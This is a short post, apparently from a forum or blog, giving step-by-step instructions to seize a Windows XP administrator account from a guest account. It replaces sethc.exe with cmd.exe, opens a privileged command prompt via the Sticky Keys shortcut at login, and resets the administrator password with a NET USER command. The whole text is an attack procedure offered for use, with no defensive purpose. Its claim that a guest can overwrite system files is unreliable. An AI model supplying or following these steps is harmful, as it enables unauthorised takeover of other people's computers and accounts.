Hack administrator from Guest account in XP

Hack administrator pasword with guest account. Just follow the instruction blow.
Go to C:/windows/system32
Copy cmd.exe and paste it on
desktop
rename cmd.exe to sethc.exe
Copy the new sethc.exe to system
32,when windows asks for
overwriting the file,then click yes.
Now Log out from your guest
account and at the user select
window,press shift key 5 times.
Now,command
prompt with full administrator
privileges will open.
Now type “ NET USER
ADMINISTRATOR abc” where
“abc” can be any password you
like and press enter.
You will see “ The Command
completed successfully” and then
exit the command prompt and
login into administrator with
your new password.
Enjoy. Plz comment if you have any problem.